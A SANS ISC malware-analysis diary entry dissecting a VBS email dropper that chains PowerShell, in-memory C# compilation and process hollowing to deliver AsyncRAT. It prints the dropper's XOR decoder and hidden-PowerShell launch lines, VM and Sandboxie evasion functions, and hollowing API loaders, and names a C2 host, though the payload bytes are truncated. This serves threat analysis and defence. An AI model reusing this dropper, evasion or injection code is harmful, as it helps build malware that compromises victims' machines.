From VBS, PowerShell, C Sharp, Process Hollowing to RAT

Published: 2021-03-04. Last Updated: 2021-03-04 07:21:33 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

VBS files are interesting to deliver malicious content to a victim's computer because they look like simple text files. I found an interesting sample that behaves like a dropper. But it looks also like Russian dolls seeing all the techniques used to drop a RAT at the end. The file hash is 8697dc74d7c07583f24488926fc6e117975f8a9f014972073d19a5e62d248ead and has a VT score of 12/59[1]. It was delivered by email under the name "Procurement - Attached RFQ 202102.vbs". If you filter attachments based on the MIME type, this file won't be detected as suspicious:

remnux@remnux:/MalwareZoo/20210303$ file *.vbs
Procurement - Attached RFQ 202102.vbs: ASCII text, with very long lines, with CRLF line terminators

When you try to open a .vbs file on a standard Windows system, it is processed by the "Microsoft ® Windows Based Script Host" handlers. Here is the code executed when you open this script:

Private Function vQ(Inp, Key, Mode)
    Dim z, i, Position, cptZahl, orgZahl, keyZahl, cptString
    For i = 1 To lEn(Inp)
        Position = Position + 1
        If Position > lEn(Key) Then Position = 1
        keyZahl = aSc(Mid(Key, Position, 1))
        If Mode Then  
            orgZahl = aSc(Mid(Inp, i, 1))
            cptZahl = orgZahl Xor keyZahl
            cptString = hEx(cptZahl)
            If lEn(cptString) < 2 Then cptString = "0" & cptString
            z = z & cptString  
        Else  
            If i > lEn(Inp) \ 2 Then Exit For
            cptZahl = CByte("&" & "H" & Mid(Inp, i * 2 - 1, 2))
            orgZahl = cptZahl Xor keyZahl
            z = z & cHR(orgZahl)
        End If
    Next
    vQ = z
End Function

Dim AqUhNbgAqwpMb
AqUhNbgAqwpMb = "31562B0462222C4B781D323A2D1E1D4A2C4C39202E190F14112E3A1E0C432A5A454C1D392A1D1B5127260F22381E3D086E011F012E5B451B3F594B23031B217726535F5863201340205A593D28000E59003C3F173249335C144C493D4B234509370B044D5072585B17233B5F24703426190F7F363A1E2C2609173F552B09244B5C3E6C7D195D23136E015E2C501F0E5A453E314C34493D28331E507B394603242E526226063C291E0C08134726227F447D72334A3C1D3158532D3C4C7E754425390E0D7841200A0F0F03316A26505E3A413119576F141679085C2D5551445420325134502C1C1E5C0B153D131E3E41505D7303180A7F1F1F7D0E2D733E03126F215C7B794641334B58766C1A567E515B78093F0E0A540E7908027F05166B241E681C5379264B... (remaining bytes removed)

Dim SH
SH = cHR(80 + 7) & cHR(100 + 15) & cHR(66 + 1) & cHR(80 + 2) & cHR(110 - 5) & cHR(85 - 5) & cHR(80 + 4) & cHR(40 + 6) & cHR(230 / 2) & cHR(36 * 2) & cHR(60 + 9) & cHR(100 + 8) & cHR(70 + 6)
Set WS = CreateObject(SH)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = FSO.CreateTextFile(FSO.GetSpecialFolder(2) + "\OS64Bits.PS1", True)
MyFile.WriteLine(rEPlAcE(vQ(AqUhNbgAqwpMb, "p2O)6[\.X0sI^{p(@5wAC|/Gh]N{am}3+(rNY3]>UK|/2_YlCUfqK{hZL*.NawX9G>:x.I", False), "%VBS%", wscript.SCRIPTFULLNAME))
MyFile.Close
WS.rUN "POWERSHELL -eXEcUTiONpOLicY rEmOtEsIgNeD -FILE " & FSO.GetSpecialFolder(2) + "\OS64Bits.PS1", 0

The payload is stored in AqUhNbgAqwpMb and decoded by the vQ().This function is an XOR-decoder using a muli-bytes key. The decoded payload is dropped on the filesystem (C:\Users\<user>\AppData\Local\Temp\OS64Bits.PS1) and executed by PowerShell. This script looks interesting at multiple points.

First, most suspicious strings are obfuscated and binary encoded. Decoding is performed via a specific function:

Function Binary2String([String] $data) {
    $byteList = [System.Collections.Generic.List[Byte]]::new()
    for ($i = 0; $i -lt $data.Length; $i +=8) {
        $byteList.Add([Convert]::ToByte($data.Substring($i, 8), 2))
    }
    return [System.Text.Encoding]::ASCII.GetString($byteList.ToArray())
}

There is a detection mechanism of virtual environments:

Function VirtualMachineDetector() {
    $searcher = (New-Object System.Management.ManagementObjectSearcher(Select * from Win32_ComputerSystem))
    $items = $searcher.Get()
    $Tr = ""
    foreach ($item in $items) {
        [String] $manufacturer = $item["Manufacturer"].ToString().ToLower()
        if (($manufacturer -eq "microsoft corporation" -and \
           $item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) -or \
           $manufacturer.Contains("vmware") -or $item["Model"].ToString() -eq "VirtualBox") {
             $Tr = "True"
        } else {
             $Tr = "False"
        }
     }
     return $Tr
}

Note also the presence of a function to detect Sandboxie[2], another sandbox tool that is easy to spot by tracking the DLL SbieDll.dll:

Function DetectSandboxie() {
    [Int32] $i = ModuleHandle("SbieDll.dll")
    [String] $s = ""
    if ($i -eq 0) {
        $s = "False"
    } else {
        $s = "True"
    }
    return $s
}

 The most interesting function is CodeDom. It invokes the CSharp compiler to compile the next payload:

function CodeDom([Byte[]] $BB, [String] $TP, [String] $MT) {
    $dictionary = new-object 'System.Collections.Generic.Dictionary[[string],[string]]'
    $dictionary.Add(("CompilerVersion"), ("v4.0"))
    $CsharpCompiler = New-Object Microsoft.CSharp.CSharpCodeProvider($dictionary)
    $CompilerParametres = New-Object System.CodeDom.Compiler.CompilerParameters
    $CompilerParametres.ReferencedAssemblies.Add(("System.dll"))
    $CompilerParametres.ReferencedAssemblies.Add(("System.Management.dll))
    $CompilerParametres.ReferencedAssemblies.Add(("System.Windows.Forms.dll"))
    $CompilerParametres.ReferencedAssemblies.Add(("mscorlib.dll"))
    $CompilerParametres.ReferencedAssemblies.Add(("Microsoft.VisualBasic.dll"))
    $CompilerParametres.IncludeDebugInformation = $false
    $CompilerParametres.GenerateExecutable = $false
    $CompilerParametres.GenerateInMemory = $true
    $CompilerParametres.CompilerOptions += ("/platform:X86 /unsafe /target:library")

    $BB = Decompress($BB)

    [System.CodeDom.Compiler.CompilerResults] $CompilerResults = \
       $CsharpCompiler.CompileAssemblyFromSource($CompilerParametres, \
       [System.Text.Encoding]::Default.GetString($BB))

    [Type] $T = $CompilerResults.CompiledAssembly.GetType($TP)

    [Byte[]] $Bytes =  Decompress(@( \
      31,139,8,0,0,0,0,0,4,0,180,189,7,124,92,213,149,63,126,231,77,213,168,206,168,203,18,150,139,204,216, \
      198,178,138,37,75,6,131,213,45,219,178,213,108,75,14,193,140,164,145,52,246,72,79,158,25,201,150,13, \
      142,197,2,129,36,180,116,88,146,80,194,166,146,132,36,155,182,41,56,
      (bytes removed)
      61,237,1,92,113,253,243,0,180,0,0))

    try {
        [String] $MyPt = \
        [System.IO.Path]::Combine([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory(),\
         "InstallUtil.exe")
        [Object[]] $Params=@($MyPt.Replace("Framework64","Framework") ,$Bytes)
        return $T.GetMethod($MT).Invoke($null, $Params)
    } catch { }
}

The CSharp code is located in the variable BB (I posted the code on Pastebin[3]). By having a look at the code, we can see a bunch of interesting API calls:

private static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi<DelegateVirtualAllocEx>(ReverseString(Kernel32), ReverseString(VirtualAllcEx)); 
private static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi<DelegateWriteProcessMemory>(ReverseString(Kernel32), ReverseString(WriteProcessMem)); 
private static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi<DelegateReadProcessMemory>(ReverseString(Kernel32), ReverseString(ReadProcessMem)); 
private static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi<DelegateZwUnmapViewOfSection>(ReverseString(ntdll), ReverseString(ZwUnmapViewOfSec)); 
private static readonly DelegateCreateProcessA CreateProcessA = LoadApi<DelegateCreateProcessA>(ReverseString(Kernel32), ReverseString(CreateProcA));

This clearly indicates that process hollowing is used to replace the code of a legit process with malicious code. This code is located in the variable Bytes and is a PE file (SHA256:D452CEE94E3A2D58B05E9F62A4AA4004C0632D9B56FA8B57664D295BC88C4DF0) that tries to communicate with a C2 server located at asin8989.ddns.net on port 8989. The malware belongs to the AsyncRat[4] family. 

Note: My advice to protect yourself against such malicious .vbs file is to replace the default app to open them with notepad.exe. 

[1] https://www.virustotal.com/gui/file/8697dc74d7c07583f24488926fc6e117975f8a9f014972073d19a5e62d248ead/detection
[2] https://github.com/sandboxie-plus/sandboxie
[3] https://pastebin.com/cW25WEpY
[4] https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Thursday, March 4th, 2021 https://isc.sans.edu/podcastdetail.html?id=7398

Comments


Diary Archives